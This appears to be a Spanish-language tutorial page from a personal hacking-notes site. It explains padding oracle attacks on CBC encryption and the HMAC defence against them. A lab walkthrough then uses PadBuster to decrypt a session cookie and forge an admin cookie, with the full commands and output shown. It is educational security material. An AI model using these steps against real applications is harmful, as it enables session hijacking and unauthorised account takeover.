RODGAR
  • Whoami
  • ACTIVE DIRECTORY
    • HackTheBox Scrambled
    • HackTheBox Forest
    • HackTheBox Escape
    • HackTheBox Authority
    • HackTheBox Support
    • HackTheBox Return
    • HackTheBox Timelapse
    • HackTheBox Administrator
    • HackTheBox Cicada
    • ⛔HackTheBox Vintage
    • HackTheBox Sauna
    • HackTheBox Active
  • CTF WRITEUP's
    • TryHackme
      • TryHackme 0day
      • TryHackme Daily Bugle
      • TryHackme Blog
      • TryHackme Year of the Owl
      • TryHackme Wgel CTF
      • TryHackme Chill Hack
      • TryHackme Wonderland
      • TryHackne OhSINT
      • TryHackme Cold VVars
      • TryHackme Dav
      • TryHackme RootMe
      • TryHackMe Basic Pentesting
      • TryHackMe Simple-CTF
      • TryHackMe Vulnversity
      • Tryhackme Kenobi
    • Burp Suite
      • 1️⃣SQL Ijections
        • Laboratorio Uno
        • Laboratorio Dos
        • Laboratorio Tres
        • Laboratorio Cuatro
        • Laboratorio Cinco
        • Laboratorio Seis
        • Laboratorio Siete
    • VulnHub
      • Inferno
      • Election
      • SYMFONOS 3
      • SYMFONOS 2
      • DJinn-3
      • Durian 1
      • DarkHole 2
      • OffSec DC-9
      • OffSec Potato
      • OffSec Pwned1
      • OffSec VIKINGS
      • OffSec Tre
      • OffSec MoneyBox
      • OffSec DEATHNOTE
      • OffSec Gaara
      • OffSec NoName
      • OffSec Katana
      • OffSec Sick0s
    • The Hackers Labs
      • The Hackers Labs Offensive
      • The Hackers Labs Resident
      • The Hacker Labs Base
      • The Hackers Labs Statue
      • The Hackers Labs Luna
      • The Hackers Labs Templo
      • The Hackers Labs GOIKO
      • The Hackers Labs Microsoft
    • Hackmyvm
      • Hackmyvm UP
    • Pivoting
      • Pivoting
      • Internal TryHackme
      • Basic /Doctor
      • Pluck /Brain
  • Privilege escalation
    • Abuso de grupos de usuario especiales
      • Docker
      • LXD
      • ADM
    • Abuso de permisos incorrectamente implementados
    • Detección y explotación de Capabilities
    • Tareas Crom
    • Path Hijacking
    • Abusando de privilegios a nivel de Sudoers
    • Abusando de privilegios SUID
    • Linux Privilege Escalation
  • Shared Files
    • Share Windows Linux
      • Compartir de entre Windows y Linux
      • Compartir de Windows a linux [Impacket-Server]
    • Share Linux
      • Compartir de linux en [PHP]
  • OWASP TOP 10
    • SQL Injections
    • XSS
    • XXE
    • Path traversal Lab
    • LFI con Wrappers
    • Log Poisoning (LFI -> RCE)
    • Server-Side Template Injection (SSTI)
    • Ataque de oráculo de relleno (Padding Oracle)
    • Inyecciones LaTeX
    • Ataques de transferencia de zona (AXFR – Full Zone Transfer)
    • Enumeración y explotación de WebDAV
    • ShellShock
    • Enumeración y explotación de SQUID Proxies
    • Insecure Direct Object Reference (IDORs)
    • Json Web Token
    • Intercambio de recursos de origen cruzado (CORS)
    • Abuso de subidas de archivos
      • Laboratorio 1
      • Laboratorio 2
      • Laboratorio 3
      • Laboratorio 4
      • Laboratorio 5
      • Laboratorio 6
      • Laboratorio 7
      • Laboratorio 8
      • Laboratorio 9
  • Group 1
    • Recursos
Con tecnología de GitBook
En esta página
  1. OWASP TOP 10

Ataque de oráculo de relleno (Padding Oracle)

AnteriorServer-Side Template Injection (SSTI)SiguienteInyecciones LaTeX

Última actualización hace 1 año

Un ataque de oráculo de relleno (Padding Oracle Attack) es un tipo de ataque contra datos cifrados que permite al atacante descifrar el contenido de los datos sin conocer la clave.

Un oráculo hace referencia a una “indicación” que brinda a un atacante información sobre si la acción que ejecuta es correcta o no. Imagina que estás jugando a un juego de mesa o de cartas con un niño: la cara se le ilumina con una gran sonrisa cuando cree que está a punto de hacer un buen movimiento. Eso es un oráculo. En tu caso, como oponente, puedes usar este oráculo para planear tu próximo movimiento según corresponda.

El relleno es un término criptográfico específico. Algunos cifrados, que son los algoritmos que se usan para cifrar los datos, funcionan en bloques de datos en los que cada bloque tiene un tamaño fijo. Si los datos que deseas cifrar no tienen el tamaño adecuado para rellenar los bloques, los datos se rellenan automáticamente hasta que lo hacen. Muchas formas de relleno requieren que este siempre esté presente, incluso si la entrada original tenía el tamaño correcto. Esto permite que el relleno siempre se quite de manera segura tras el descifrado.

Al combinar ambos elementos, una implementación de software con un oráculo de relleno revela si los datos descifrados tienen un relleno válido. El oráculo podría ser algo tan sencillo como devolver un valor que dice “Relleno no válido”, o bien algo más complicado como tomar un tiempo considerablemente diferente para procesar un bloque válido en lugar de uno no válido.

Los cifrados basados en bloques tienen otra propiedad, denominada “modo“, que determina la relación de los datos del primer bloque con los datos del segundo bloque, y así sucesivamente. Uno de los modos más usados es CBC. CBC presenta un bloque aleatorio inicial, conocido como “vector de inicialización” (IV), y combina el bloque anterior con el resultado del cifrado estático a fin de que cifrar el mismo mensaje con la misma clave no siempre genere la misma salida cifrada.

Un atacante puede usar un oráculo de relleno, en combinación con la manera de estructurar los datos de CBC, para enviar mensajes ligeramente modificados al código que expone el oráculo y seguir enviando datos hasta que el oráculo indique que son correctos. Desde esta respuesta, el atacante puede descifrar el mensaje byte a byte.

Las redes informáticas modernas son de una calidad tan alta que un atacante puede detectar diferencias muy pequeñas (menos de 0,1 ms) en el tiempo de ejecución en sistemas remotos. Las aplicaciones que suponen que un descifrado correcto solo puede ocurrir cuando no se alteran los datos pueden resultar vulnerables a ataques desde herramientas que están diseñadas para observar diferencias en el descifrado correcto e incorrecto. Si bien esta diferencia de temporalización puede ser más significativa en algunos lenguajes o bibliotecas que en otros, ahora se cree que se trata de una amenaza práctica para todos los lenguajes y las bibliotecas cuando se tiene en cuenta la respuesta de la aplicación ante el error.

Este tipo de ataque se basa en la capacidad de cambiar los datos cifrados y probar el resultado con el oráculo. La única manera de mitigar completamente el ataque es detectar los cambios en los datos cifrados y rechazar que se hagan acciones en ellos. La manera estándar de hacerlo es crear una firma para los datos y validarla antes de realizar cualquier operación. La firma debe ser verificable y el atacante no debe poder crearla; de lo contrario, podría modificar los datos cifrados y calcular una firma nueva en función de esos datos cambiados.

Un tipo común de firma adecuada se conoce como “código de autenticación de mensajes hash con clave” (HMAC). Un HMAC difiere de una suma de comprobación en que requiere una clave secreta, que solo conoce la persona que genera el HMAC y la persona que la valida. Si no se tiene esta clave, no se puede generar un HMAC correcto. Cuando recibes los datos, puedes tomar los datos cifrados, calcular de manera independiente el HMAC con la clave secreta que compartes tanto tú como el emisor y, luego, comparar el HMAC que este envía respecto del que calculaste. Esta comparación debe ser de tiempo constante; de lo contrario, habrás agregado otro oráculo detectable, permitiendo así un tipo de ataque distinto.

En resumen, para usar de manera segura los cifrados de bloques de CBC rellenados, es necesario combinarlos con un HMAC (u otra comprobación de integridad de datos) que se valide mediante una comparación de tiempo constante antes de intentar descifrar los datos. Dado que todos los mensajes modificados tardan el mismo tiempo en generar una respuesta, el ataque se evita.

El ataque de oráculo de relleno puede parecer un poco complejo de entender, ya que implica un proceso de retroalimentación para adivinar el contenido cifrado y modificar el relleno. Sin embargo, existen herramientas como PadBuster que pueden automatizar gran parte del proceso.

PadBuster es una herramienta diseñada para automatizar el proceso de descifrado de mensajes cifrados en modo CBC que utilizan relleno PKCS #7. La herramienta permite a los atacantes enviar peticiones HTTP con rellenos maliciosos para determinar si el relleno es válido o no. De esta forma, los atacantes pueden adivinar el contenido cifrado y descifrar todo el mensaje.

Primero nos registramos como el usuario rodgar y una contraseña simple.

Sabemos muy bien que para cada usuario cuando inicia sesion se genera una cookie de session para ese usuario, esta es mi cookie, y esta cookie es la que vamos a usar para tratar de secuestrar la sesion del administrador. Resumen migrar del usuario rodgar a admin.

Vamos a hacer uso de la herramienta padbuster.

padbuster http://192.168.1.138/index.php P3tEsWvzU5q1OyfK%2FPDvv0XkVV5n6T07 8 -cookies 'auth=P3tEsWvzU5q1OyfK%2FPDvv0XkVV5n6T07'

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 1190

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#	Freq	Status	Length	Location
-------------------------------------------------------
1	1	200	1388	N/A
2 **	255	200	15	N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (1/256) [Byte 8]
[+] Success: (194/256) [Byte 7]
[+] Success: (126/256) [Byte 6]
[+] Success: (174/256) [Byte 5]
[+] Success: (58/256) [Byte 4]
[+] Success: (217/256) [Byte 3]
[+] Success: (241/256) [Byte 2]
[+] Success: (190/256) [Byte 1]

Block 1 Results:
[+] Cipher Text (HEX): b53b27cafcf0efbf
[+] Intermediate Bytes (HEX): 4a0821c356813cfe
[+] Plain Text: user=rod

Use of uninitialized value $plainTextBytes in concatenation (.) or string at /usr/bin/padbuster line 361, <STDIN> line 1.
*** Starting Block 2 of 2 ***

[+] Success: (69/256) [Byte 8]
[+] Success: (24/256) [Byte 7]
[+] Success: (10/256) [Byte 6]
[+] Success: (3/256) [Byte 5]
[+] Success: (54/256) [Byte 4]
[+] Success: (173/256) [Byte 3]
[+] Success: (163/256) [Byte 2]
[+] Success: (38/256) [Byte 1]

Block 2 Results:
[+] Cipher Text (HEX): 45e4555e67e93d3b
[+] Intermediate Bytes (HEX): d25a55cff9f5eaba
[+] Plain Text: gar

-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): user=rodgar

[+] Decrypted value (HEX): 757365723D726F646761720505050505

[+] Decrypted value (Base64): dXNlcj1yb2RnYXIFBQUFBQ==

-------------------------------------------------------
padbuster http://192.168.1.138/index.php P3tEsWvzU5q1OyfK%2FPDvv0XkVV5n6T07 8 -cookies 'auth=P3tEsWvzU5q1OyfK%2FPDvv0XkVV5n6T07'

Haciendo uso de padbuster le pasamos primeramente la URL luego la cookie del usuario que esta logueado que es rodgar luego le pasamos el BlockSize que en este caso es 8.

Al final nos lanza una cadena en base64 que en este caso es esta 'dXNlcj1yb2RnYXIFBQUFBQ=='

Esta cadena 'dXNlcj1yb2RnYXIFBQUFBQ==' por detras lo que contiene es una cadena el texto claro user=rodgar.

Ahora ya sabiendo que almacena esta cadena el texto claro que es user=rodgar, atento a la jugada yo le puedo decir con padbuster que me cifre una cadena pero que ahora user no sea igual a rodgar si no igual a admin user=admin.

Vamos a hacerlo

padbuster http://192.168.1.138/index.php dXNlcj1yb2RnYXIFBQUFBQ== 8 -cookies 'auth=dXNlcj1yb2RnYXIFBQUFBQ==' -plaintext 'user=admin'

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 15

INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 2

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#	Freq	Status	Length	Location
-------------------------------------------------------
1	1	200	1388	N/A
2 **	255	200	15	N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (196/256) [Byte 8]
[+] Success: (148/256) [Byte 7]
[+] Success: (92/256) [Byte 6]
[+] Success: (41/256) [Byte 5]
[+] Success: (218/256) [Byte 4]
[+] Success: (136/256) [Byte 3]
[+] Success: (150/256) [Byte 2]
[+] Success: (190/256) [Byte 1]

Block 2 Results:
[+] New Cipher Text (HEX): 23037825d5a1683b
[+] Intermediate Bytes (HEX): 4a6d7e23d3a76e3d

[+] Success: (1/256) [Byte 8]
[+] Success: (36/256) [Byte 7]
[+] Success: (180/256) [Byte 6]
[+] Success: (17/256) [Byte 5]
[+] Success: (146/256) [Byte 4]
[+] Success: (50/256) [Byte 3]
[+] Success: (132/256) [Byte 2]
[+] Success: (135/256) [Byte 1]

Block 1 Results:
[+] New Cipher Text (HEX): 0408ad19d62eba93
[+] Intermediate Bytes (HEX): 717bc86beb4fdefe

-------------------------------------------------------
** Finished ***

[+] Encrypted value is: BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA
-------------------------------------------------------
padbuster http://192.168.1.138/index.php dXNlcj1yb2RnYXIFBQUFBQ== 8 -cookies 'auth=dXNlcj1yb2RnYXIFBQUFBQ==' -plaintext 'user=admin'

Ahora le estamos diciendo a padbuster que esta cadena dXNlcj1yb2RnYXIFBQUFBQ== no es igual a rodgar si no a admin. y padbuster nos creara una nueva cookie de session cifrada que corresponda para admin que en este caso la cadena resultante seria esta BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA

En todo caso si el usuario admin existe a nivel de sistema podremos secuestrar su session.

Ya con esta nueva cookie de session creada si nos vamos a la web observamos que todavia somos rodgar. Pero si pegamos esta nueva cookie que genero padbuster en el input Value, esa cookie corresponderia para el usuario admin y no rodgar.

Pegando la cookie y refrescamos la pagina observamos que ahora no somos rodgar si no admin.

Vamos a practicar con una maquina de .

VULNHUB